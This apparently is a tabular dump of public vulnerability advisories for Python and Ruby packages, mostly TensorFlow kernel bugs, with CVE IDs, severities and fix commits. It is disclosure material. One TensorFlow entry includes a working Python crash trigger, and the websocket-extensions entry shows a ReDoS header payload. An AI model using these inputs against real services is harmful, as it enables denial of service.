ecosystem
stringclasses 11
values | vuln_id
stringlengths 10
19
| summary
stringlengths 4
220
⌀ | details
stringlengths 34
13.5k
| aliases
stringlengths 17
87
⌀ | modified_date
stringdate 2019-03-26 14:13:00
2022-05-10 08:46:52
| published_date
stringdate 2012-06-17 03:41:00
2022-05-10 08:46:50
| severity
stringclasses 5
values | score
float64 0
10
⌀ | cwe_id
stringclasses 581
values | refs
stringlengths 82
11.6k
| introduced
stringclasses 843
values | code_refs
stringlengths 46
940
| commits
stringlengths 46
940
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
PyPI | PYSEC-2021-277 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can trigger a read from outside of bounds of heap allocated data by sending invalid arguments to `tf.raw_ops.ResourceScatterUpdate`. The [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/resource_variable_ops.cc#L919-L923) has an incomplete validation of the relationship between the shapes of `indices` and `updates`: instead of checking that the shape of `indices` is a prefix of the shape of `updates` (so that broadcasting can happen), code only checks that the number of elements in these two tensors are in a divisibility relationship. We have patched the issue in GitHub commit 01cff3f986259d661103412a20745928c727326f. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'GHSA-7fvx-3jfc-2cpc', 'CVE-2021-37655'} | 2021-08-27T03:22:44.439225Z | 2021-08-12T21:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-7fvx-3jfc-2cpc'} | null | {'https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f'} | {'https://github.com/tensorflow/tensorflow/commit/01cff3f986259d661103412a20745928c727326f'} |
PyPI | PYSEC-2021-627 | null | TensorFlow is an open source platform for machine learning. In affected versions the shape inference code for `AllToAll` can be made to execute a division by 0. This occurs whenever the `split_count` argument is 0. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. | {'CVE-2021-41218', 'GHSA-9crf-c6qr-r273'} | 2021-12-09T06:35:10.125473Z | 2021-11-05T22:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9crf-c6qr-r273', 'https://github.com/tensorflow/tensorflow/commit/a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc'} | null | {'https://github.com/tensorflow/tensorflow/commit/a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc'} | {'https://github.com/tensorflow/tensorflow/commit/a8ad3e5e79c75f36edb81e0ba3f3c0c5442aeddc'} |
PyPI | GHSA-x4qx-4fjv-hmw6 | Integer overflow leading to crash in Tensorflow | ### Impact
The [implementation of `SparseCountSparseOutput`](https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273) can be made to crash a TensorFlow process by an integer overflow whose result is then used in a memory allocation:
```python
import tensorflow as tf
import numpy as np
tf.raw_ops.SparseCountSparseOutput(
indices=[[1,1]],
values=[2],
dense_shape=[2 ** 31, 2 ** 32],
weights=[1],
binary_output=True,
minlength=-1,
maxlength=-1,
name=None)
```
### Patches
We have patched the issue in GitHub commit [6f4d3e8139ec724dbbcb40505891c81dd1052c4a](https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a).
The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Faysal Hossain Shezan from University of Virginia. | {'CVE-2022-21738'} | 2022-03-03T05:13:56.550338Z | 2022-02-09T23:45:09Z | MODERATE | null | {'CWE-190'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-x4qx-4fjv-hmw6', 'https://nvd.nist.gov/vuln/detail/CVE-2022-21738', 'https://github.com/tensorflow/tensorflow', 'https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a', 'https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/count_ops.cc#L168-L273'} | null | {'https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a'} | {'https://github.com/tensorflow/tensorflow/commit/6f4d3e8139ec724dbbcb40505891c81dd1052c4a'} |
PyPI | PYSEC-2021-559 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions the implementation of `tf.raw_ops.StringNGrams` is vulnerable to an integer overflow issue caused by converting a signed integer value to an unsigned one and then allocating memory based on this value. The [implementation](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/kernels/string_ngrams_op.cc#L184) calls `reserve` on a `tstring` with a value that sometimes can be negative if user supplies negative `ngram_widths`. The `reserve` method calls `TF_TString_Reserve` which has an `unsigned long` argument for the size of the buffer. Hence, the implicit conversion transforms the negative value to a large integer. We have patched the issue in GitHub commit c283e542a3f422420cfdb332414543b62fc4e4a5. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'CVE-2021-37646', 'GHSA-h6jh-7gv5-28vg'} | 2021-12-09T06:35:02.920127Z | 2021-08-12T21:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-h6jh-7gv5-28vg'} | null | {'https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5'} | {'https://github.com/tensorflow/tensorflow/commit/c283e542a3f422420cfdb332414543b62fc4e4a5'} |
PyPI | GHSA-g4rf-pc26-6hmr | OMERO webclient does not validate URL redirects on login or switching group. | ### Background
OMERO.web supports redirection to a given URL after performing login or switching the group context. These URLs are not validated, allowing redirection to untrusted sites. OMERO.web 5.9.0 adds URL validation before redirecting. External URLs are not considered valid, unless specified in the ``omero.web.redirect_allowed_hosts`` setting.
### Impact
OMERO.web before 5.9.0
### Patches
5.9.0
### Workarounds
No workaround
### References
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [omero-web](https://github.com/ome/omero-web)
* Email us at [security](mailto:security@openmicroscopy.org.uk) | {'CVE-2021-21377'} | 2022-03-03T05:13:57.027034Z | 2021-03-23T15:26:49Z | MODERATE | null | {'CWE-601'} | {'https://www.openmicroscopy.org/security/advisories/2021-SV2/', 'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c', 'https://pypi.org/project/omero-web/', 'https://github.com/ome/omero-web/security/advisories/GHSA-g4rf-pc26-6hmr', 'https://github.com/ome/omero-web/blob/master/CHANGELOG.md#590-march-2021', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21377'} | null | {'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c'} | {'https://github.com/ome/omero-web/commit/952f8e5d28532fbb14fb665982211329d137908c'} |
PyPI | PYSEC-2022-100 | null | Tensorflow is an Open Source Machine Learning Framework. The `GraphDef` format in TensorFlow does not allow self recursive functions. The runtime assumes that this invariant is satisfied. However, a `GraphDef` containing a fragment such as the following can be consumed when loading a `SavedModel`. This would result in a stack overflow during execution as resolving each `NodeDef` means resolving the function itself and its nodes. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range. | {'CVE-2022-23591', 'GHSA-247x-2f9f-5wp7'} | 2022-03-09T00:17:36.268189Z | 2022-02-04T23:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/448a16182065bd08a202d9057dd8ca541e67996c', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-247x-2f9f-5wp7'} | null | {'https://github.com/tensorflow/tensorflow/commit/448a16182065bd08a202d9057dd8ca541e67996c'} | {'https://github.com/tensorflow/tensorflow/commit/448a16182065bd08a202d9057dd8ca541e67996c'} |
PyPI | GHSA-74xw-82v7-hmrm | Improper Input Validation in python-dbusmock | python-dbusmock before version 0.15.1 AddTemplate() D-Bus method call or DBusTestCase.spawn_server_template() method could be tricked into executing malicious code if an attacker supplies a .pyc file. | {'CVE-2015-1326'} | 2022-03-03T05:13:12.559537Z | 2019-04-23T16:04:36Z | HIGH | null | {'CWE-20'} | {'https://nvd.nist.gov/vuln/detail/CVE-2015-1326', 'https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093'} | null | {'https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093'} | {'https://github.com/martinpitt/python-dbusmock/commit/4e7d0df9093'} |
PyPI | GHSA-h2g5-2rhx-ffgj | Command injection in Weblate | Weblate is a web based localization tool with tight version control integration. Prior to version 4.11.1, Weblate didn't properly sanitize some arguments passed to Git and Mercurial, allowing them to change their behavior in an unintended way. Instances where untrusted users cannot create new components are not affected. The issues were fixed in the 4.11.1 release. | {'CVE-2022-24727'} | 2022-03-14T23:16:46.391080Z | 2022-03-05T00:00:44Z | HIGH | null | {'CWE-77'} | {'https://github.com/WeblateOrg/weblate', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24727', 'https://github.com/WeblateOrg/weblate/commit/d83672a3e7415da1490334e2c9431e5da1966842', 'https://github.com/WeblateOrg/weblate/security/advisories/GHSA-3872-f48p-pxqj', 'https://github.com/WeblateOrg/weblate/commit/35d59f1f040541c358cece0a8d4a63183ca919b8'} | null | {'https://github.com/WeblateOrg/weblate/commit/35d59f1f040541c358cece0a8d4a63183ca919b8', 'https://github.com/WeblateOrg/weblate/commit/d83672a3e7415da1490334e2c9431e5da1966842'} | {'https://github.com/WeblateOrg/weblate/commit/35d59f1f040541c358cece0a8d4a63183ca919b8', 'https://github.com/WeblateOrg/weblate/commit/d83672a3e7415da1490334e2c9431e5da1966842'} |
PyPI | PYSEC-2021-735 | null | TensorFlow is an end-to-end open source platform for machine learning. Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data. The implementation(https://github.com/tensorflow/tensorflow/blob/656e7673b14acd7835dc778867f84916c6d1cac2/tensorflow/core/kernels/sparse_add_op.cc) has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of `*_indices` matches the size of corresponding `*_shape`. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-cjc7-49v2-jp64', 'CVE-2021-29609'} | 2021-12-09T06:35:33.559422Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc', 'https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cjc7-49v2-jp64'} | null | {'https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc', 'https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3'} | {'https://github.com/tensorflow/tensorflow/commit/41727ff06111117bdf86b37db198217fd7a143cc', 'https://github.com/tensorflow/tensorflow/commit/6fd02f44810754ae7481838b6a67c5df7f909ca3'} |
PyPI | PYSEC-2021-670 | null | TensorFlow is an end-to-end open source platform for machine learning. An attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.QuantizeAndDequantizeV4Grad`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.cc#L162-L163) does not validate the rank of the `input_*` tensors. In turn, this results in the tensors being passes as they are to `QuantizeAndDequantizePerChannelGradientImpl`(https://github.com/tensorflow/tensorflow/blob/95078c145b5a7a43ee046144005f733092756ab5/tensorflow/core/kernels/quantize_and_dequantize_op.h#L295-L306). However, the `vec<T>` method, requires the rank to 1 and triggers a `CHECK` failure otherwise. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 as this is the only other affected version. | {'CVE-2021-29544', 'GHSA-6g85-3hm8-83f9'} | 2021-12-09T06:35:22.335925Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-6g85-3hm8-83f9', 'https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b'} | null | {'https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b'} | {'https://github.com/tensorflow/tensorflow/commit/20431e9044cf2ad3c0323c34888b192f3289af6b'} |
PyPI | GHSA-gpvv-69j7-gwj8 | Path Traversal in pip | The pip package before 19.2 for Python allows Directory Traversal when a URL is given in an install command, because a Content-Disposition header can have ../ in a filename, as demonstrated by overwriting the /root/.ssh/authorized_keys file. This occurs in _download_http_url in _internal/download.py. A fix was committed 6704f2ace. | {'CVE-2019-20916'} | 2022-04-21T15:46:57.757453Z | 2021-06-09T17:35:04Z | HIGH | null | {'CWE-22'} | {'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00005.html', 'https://github.com/pypa/pip/', 'https://lists.debian.org/debian-lts-announce/2020/09/msg00010.html', 'https://www.oracle.com/security-alerts/cpuapr2022.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00010.html', 'https://nvd.nist.gov/vuln/detail/CVE-2019-20916', 'https://github.com/pypa/pip/issues/6413', 'https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace', 'https://github.com/pypa/pip/compare/19.1.1...19.2'} | null | {'https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace'} | {'https://github.com/gzpan123/pip/commit/a4c735b14a62f9cb864533808ac63936704f2ace'} |
PyPI | PYSEC-2021-220 | null | TensorFlow is an end-to-end open source platform for machine learning. The implementation of `tf.raw_ops.FusedBatchNorm` is vulnerable to a heap buffer overflow. If the tensors are empty, the same implementation can trigger undefined behavior by dereferencing null pointers. The implementation(https://github.com/tensorflow/tensorflow/blob/57d86e0db5d1365f19adcce848dfc1bf89fdd4c7/tensorflow/core/kernels/fused_batch_norm_op.cc) fails to validate that `scale`, `offset`, `mean` and `variance` (the last two only when required) all have the same number of elements as the number of channels of `x`. This results in heap out of bounds reads when the buffers backing these tensors are indexed past their boundary. If the tensors are empty, the validation mentioned in the above paragraph would also trigger and prevent the undefined behavior. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-9xh4-23q4-v6wr', 'CVE-2021-29583'} | 2021-08-27T03:22:36.144215Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-9xh4-23q4-v6wr', 'https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0'} | null | {'https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0'} | {'https://github.com/tensorflow/tensorflow/commit/6972f9dfe325636b3db4e0bc517ee22a159365c0'} |
RubyGems | GHSA-46f2-3v63-3xrp | Path traversal in Tempfile on Windows | There is an unintentional directory creation vulnerability in `tmpdir` library bundled with Ruby on Windows. And there is also an unintentional file creation vulnerability in tempfile library bundled with Ruby on Windows, because it uses tmpdir internally.
| {'CVE-2021-28966'} | 2022-03-03T05:13:55.780986Z | 2021-05-06T15:01:36Z | MODERATE | null | {'CWE-22'} | {'https://hackerone.com/reports/1131465', 'https://security.netapp.com/advisory/ntap-20210902-0004/', 'https://www.ruby-lang.org/en/news/2021/04/05/tempfile-path-traversal-on-windows-cve-2021-28966/', 'https://github.com/ruby/tmpdir', 'https://nvd.nist.gov/vuln/detail/CVE-2021-28966', 'https://github.com/ruby/tmpdir/pull/8', 'https://rubygems.org/gems/tmpdir', 'https://github.com/ruby/tmpdir/commit/93798c01cb7c10476e50a4d80130a329ba47f348', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/tmpdir/CVE-2021-28966.yml'} | null | {'https://github.com/ruby/tmpdir/commit/93798c01cb7c10476e50a4d80130a329ba47f348'} | {'https://github.com/ruby/tmpdir/commit/93798c01cb7c10476e50a4d80130a329ba47f348'} |
RubyGems | GHSA-2w67-526p-gm73 | redis-store deserializes untrusted data the affected version range and description should be adjust to match as well | Redis-store <=v1.3.0 allows unsafe objects to be loaded from redis | {'CVE-2017-1000248'} | 2022-04-25T22:16:55.481411Z | 2017-12-06T16:41:25Z | CRITICAL | null | {'CWE-502'} | {'https://github.com/redis-store/redis-store/commit/e0c1398d54a9661c8c70267c3a925ba6b192142e', 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000248', 'https://github.com/redis-store/redis-store', 'https://github.com/advisories/GHSA-2w67-526p-gm73'} | null | {'https://github.com/redis-store/redis-store/commit/e0c1398d54a9661c8c70267c3a925ba6b192142e'} | {'https://github.com/redis-store/redis-store/commit/e0c1398d54a9661c8c70267c3a925ba6b192142e'} |
RubyGems | GHSA-vxf6-w9mp-95hm | Low severity vulnerability that affects puppet | lib/puppet/network/authstore.rb in Puppet before 2.7.18, and Puppet Enterprise before 2.5.2, supports use of IP addresses in certnames without warning of potential risks, which might allow remote attackers to spoof an agent by acquiring a previously used IP address. | {'CVE-2012-3408'} | 2022-03-03T05:14:03.717923Z | 2017-10-24T18:33:38Z | LOW | null | {'CWE-287'} | {'http://puppetlabs.com/security/cve/cve-2012-3408/', 'https://github.com/puppetlabs/puppet', 'https://github.com/advisories/GHSA-vxf6-w9mp-95hm', 'https://github.com/puppetlabs/puppet/commit/ab9150baa1b738467a33b01df1d90e076253fbbd', 'https://nvd.nist.gov/vuln/detail/CVE-2012-3408', 'https://bugzilla.redhat.com/show_bug.cgi?id=839166'} | null | {'https://github.com/puppetlabs/puppet/commit/ab9150baa1b738467a33b01df1d90e076253fbbd'} | {'https://github.com/puppetlabs/puppet/commit/ab9150baa1b738467a33b01df1d90e076253fbbd'} |
RubyGems | GHSA-qh4w-7pw3-p4rp | Potential denial of service in bson rubygem | The Moped::BSON::ObjecId.legal? method in mongodb/bson-ruby before 3.0.4 as used in rubygem-moped allows remote attackers to cause a denial of service (worker resource consumption) via a crafted string. NOTE: This issue is due to an incomplete fix to CVE-2015-4410. | {'CVE-2015-4411'} | 2022-03-03T05:13:31.309816Z | 2020-04-29T15:34:50Z | HIGH | null | {'CWE-400'} | {'https://github.com/mongodb/bson-ruby/compare/7446d7c6764dfda8dc4480ce16d5c023e74be5ca...28f34978a85b689a4480b4d343389bf4886522e7', 'https://nvd.nist.gov/vuln/detail/CVE-2015-4411', 'http://lists.fedoraproject.org/pipermail/package-announce/2015-July/161987.html', 'https://www.securityfocus.com/bid/75045', 'https://sakurity.com/blog/2015/06/04/mongo_ruby_regexp.html', 'https://github.com/mongodb/bson-ruby/commit/fef6f75413511d653c76bf924a932374a183a24f#diff-8c8558c185bbb548ccb5a6d6ac4bfee5R191', 'http://lists.fedoraproject.org/pipermail/package-announce/2015-July/161964.html', 'https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24', 'http://www.securityfocus.com/bid/75045', 'https://bugzilla.redhat.com/show_bug.cgi?id=1229706', 'https://github.com/mongodb/bson-ruby/commit/976da329ff03ecdfca3030eb6efe3c85e6db9999', 'https://seclists.org/oss-sec/2015/q2/653', 'https://homakov.blogspot.ru/2012/05/saferweb-injects-in-various-ruby.html', 'https://github.com/mongodb/bson-ruby', 'http://www.openwall.com/lists/oss-security/2015/06/06/3', 'https://security-tracker.debian.org/tracker/CVE-2015-4411'} | null | {'https://github.com/mongodb/bson-ruby/commit/976da329ff03ecdfca3030eb6efe3c85e6db9999', 'https://github.com/mongodb/bson-ruby/commit/fef6f75413511d653c76bf924a932374a183a24f#diff-8c8558c185bbb548ccb5a6d6ac4bfee5R191', 'https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24'} | {'https://github.com/mongodb/bson-ruby/commit/fef6f75413511d653c76bf924a932374a183a24f#diff-8c8558c185bbb548ccb5a6d6ac4bfee5R191', 'https://github.com/mongodb/bson-ruby/commit/976da329ff03ecdfca3030eb6efe3c85e6db9999', 'https://github.com/mongoid/moped/commit/dd5a7c14b5d2e466f7875d079af71ad19774609b#diff-3b93602f64c2fe46d38efd9f73ef5358R24'} |
RubyGems | GHSA-g6wq-qcwm-j5g2 | Regular Expression Denial of Service in websocket-extensions (RubyGem) | ### Impact
The ReDoS flaw allows an attacker to exhaust the server's capacity to process
incoming requests by sending a WebSocket handshake request containing a header
of the following form:
Sec-WebSocket-Extensions: a; b="\c\c\c\c\c\c\c\c\c\c ...
That is, a header containing an unclosed string parameter value whose content is
a repeating two-byte sequence of a backslash and some other character. The
parser takes exponential time to reject this header as invalid, and this will
block the processing of any other work on the same thread. Thus if you are
running a single-threaded server, such a request can render your service
completely unavailable.
### Patches
Users should upgrade to version 0.1.5.
### Workarounds
There are no known work-arounds other than disabling any public-facing
WebSocket functionality you are operating.
### References
- https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions/ | {'CVE-2020-7663'} | 2022-03-03T05:13:04.470258Z | 2020-06-05T14:21:29Z | HIGH | null | {'CWE-400'} | {'https://snyk.io/vuln/SNYK-RUBY-WEBSOCKETEXTENSIONS-570830', 'https://github.com/faye/websocket-extensions-ruby/security/advisories/GHSA-g6wq-qcwm-j5g2', 'https://blog.jcoglan.com/2020/06/02/redos-vulnerability-in-websocket-extensions', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7663', 'https://usn.ubuntu.com/4502-1/', 'https://lists.debian.org/debian-lts-announce/2020/08/msg00031.html', 'https://github.com/faye/websocket-extensions-ruby', 'https://github.com/faye/websocket-extensions-ruby/commit/aa156a439da681361ed6f53f1a8131892418838b'} | null | {'https://github.com/faye/websocket-extensions-ruby/commit/aa156a439da681361ed6f53f1a8131892418838b'} | {'https://github.com/faye/websocket-extensions-ruby/commit/aa156a439da681361ed6f53f1a8131892418838b'} |
RubyGems | GHSA-qrqm-fpv6-6r8g | Command Injection Vulnerability in Mechanize | This security advisory has been created for public disclosure of a Command Injection vulnerability that was responsibly reported by @kyoshidajp (Katsuhiko YOSHIDA).
### Impact
Mechanize `>= v2.0`, `< v2.7.7` allows for OS commands to be injected using several classes' methods which implicitly use Ruby's `Kernel.open` method. Exploitation is possible only if untrusted input is used as a local filename and passed to any of these calls:
- `Mechanize::CookieJar#load`: since v2.0 (see 208e3ed)
- `Mechanize::CookieJar#save_as`: since v2.0 (see 5b776a4)
- `Mechanize#download`: since v2.2 (see dc91667)
- `Mechanize::Download#save` and `#save!` since v2.1 (see 98b2f51, bd62ff0)
- `Mechanize::File#save` and `#save_as`: since v2.1 (see 2bf7519)
- `Mechanize::FileResponse#read_body`: since v2.0 (see 01039f5)
### Patches
These vulnerabilities are patched in Mechanize v2.7.7.
### Workarounds
No workarounds are available. We recommend upgrading to v2.7.7 or later.
### References
See https://docs.rubocop.org/rubocop/cops_security.html#securityopen for background on why `Kernel.open` should not be used with untrusted input.
### For more information
If you have any questions or comments about this advisory, please open an issue in [sparklemotion/mechanize](https://github.com/sparklemotion/mechanize/issues/new). | {'CVE-2021-21289'} | 2022-04-27T20:31:57.937283Z | 2021-02-02T18:50:27Z | HIGH | null | {'CWE-78'} | {'https://github.com/sparklemotion/mechanize/commit/66a6a1bfa653a5f13274a396a5e5441238656aa0', 'https://security.gentoo.org/glsa/202107-17', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YNFZ7ROYS6V4J5L5PRAJUG2AWC7VXR2V/', 'https://lists.debian.org/debian-lts-announce/2021/02/msg00021.html', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/LBVVJUL4P4KCJH4IQTHFZ4ATXY7XXZPV/', 'https://github.com/sparklemotion/mechanize', 'https://github.com/sparklemotion/mechanize/releases/tag/v2.7.7', 'https://github.com/sparklemotion/mechanize/security/advisories/GHSA-qrqm-fpv6-6r8g', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21289', 'https://rubygems.org/gems/mechanize/'} | null | {'https://github.com/sparklemotion/mechanize/commit/66a6a1bfa653a5f13274a396a5e5441238656aa0'} | {'https://github.com/sparklemotion/mechanize/commit/66a6a1bfa653a5f13274a396a5e5441238656aa0'} |
RubyGems | GHSA-52p9-v744-mwjj | Remote code execution in Kramdown | Kramdown before 2.3.1 does not restrict Rouge formatters to the Rouge::Formatters namespace, and thus arbitrary classes can be instantiated. | {'CVE-2021-28834'} | 2022-03-03T05:13:10.234883Z | 2021-03-29T16:30:34Z | HIGH | null | {'CWE-94'} | {'https://github.com/stanhu/kramdown/commit/d6a1cbcb2caa2f8a70927f176070d126b2422760', 'https://github.com/gettalong/kramdown/compare/REL_2_3_0...REL_2_3_1', 'https://nvd.nist.gov/vuln/detail/CVE-2021-28834', 'https://github.com/stanhu/kramdown/commit/ff0218aefcf00cd5a389e17e075d36cd46d011e2', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SYOLQKFL6IJCQLBXV34Z4TI4O54GESPR/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S3BBLUIDCUUR3NEE4NJLOCCAV3ALQ3O6/', 'https://github.com/gettalong/kramdown/pull/708', 'https://www.debian.org/security/2021/dsa-4890', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/NJCJVYHPY6LNUFM6LYZIAUIYOMVT5QGV/', 'https://gitlab.com/gitlab-org/gitlab/-/commit/179329b5c3c118924fb242dc449d06b4ed6ccb66', 'https://about.gitlab.com/releases/2021/03/17/security-release-gitlab-13-9-4-released/#remote-code-execution-via-unsafe-user-controlled-markdown-rendering-options'} | null | {'https://github.com/stanhu/kramdown/commit/ff0218aefcf00cd5a389e17e075d36cd46d011e2', 'https://gitlab.com/gitlab-org/gitlab/-/commit/179329b5c3c118924fb242dc449d06b4ed6ccb66', 'https://github.com/stanhu/kramdown/commit/d6a1cbcb2caa2f8a70927f176070d126b2422760'} | {'https://github.com/stanhu/kramdown/commit/d6a1cbcb2caa2f8a70927f176070d126b2422760', 'https://github.com/stanhu/kramdown/commit/ff0218aefcf00cd5a389e17e075d36cd46d011e2'} |
RubyGems | GHSA-rp63-jfmw-532w | High severity vulnerability that affects mail | The Mail gem before 2.4.3 for Ruby allows remote attackers to execute arbitrary commands via shell metacharacters in a (1) sendmail or (2) exim delivery. | {'CVE-2012-2140'} | 2022-03-03T05:13:28.878669Z | 2017-10-24T18:33:38Z | HIGH | null | {'CWE-20'} | {'http://secunia.com/advisories/48970', 'https://github.com/mikel/mail/commit/39b590ddb08f90ddbe445837359a2c8843e533d0', 'http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080645.html', 'https://github.com/mikel/mail/commit/ac56f03bdfc30b379aeecd4ff317d08fdaa328c2', 'https://github.com/mikel/mail/blob/9beb079c70d236a5ad2e1ba95b2c977e55deb7af/CHANGELOG.rdoc', 'http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080747.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080648.html', 'https://nvd.nist.gov/vuln/detail/CVE-2012-2140', 'http://www.openwall.com/lists/oss-security/2012/04/25/8', 'https://bugzilla.redhat.com/show_bug.cgi?id=816352', 'http://www.openwall.com/lists/oss-security/2012/04/26/1', 'https://github.com/advisories/GHSA-rp63-jfmw-532w', 'https://bugzilla.novell.com/show_bug.cgi?id=759092', 'https://github.com/mikel/mail'} | null | {'https://github.com/mikel/mail/commit/39b590ddb08f90ddbe445837359a2c8843e533d0', 'https://github.com/mikel/mail/commit/ac56f03bdfc30b379aeecd4ff317d08fdaa328c2'} | {'https://github.com/mikel/mail/commit/ac56f03bdfc30b379aeecd4ff317d08fdaa328c2', 'https://github.com/mikel/mail/commit/39b590ddb08f90ddbe445837359a2c8843e533d0'} |
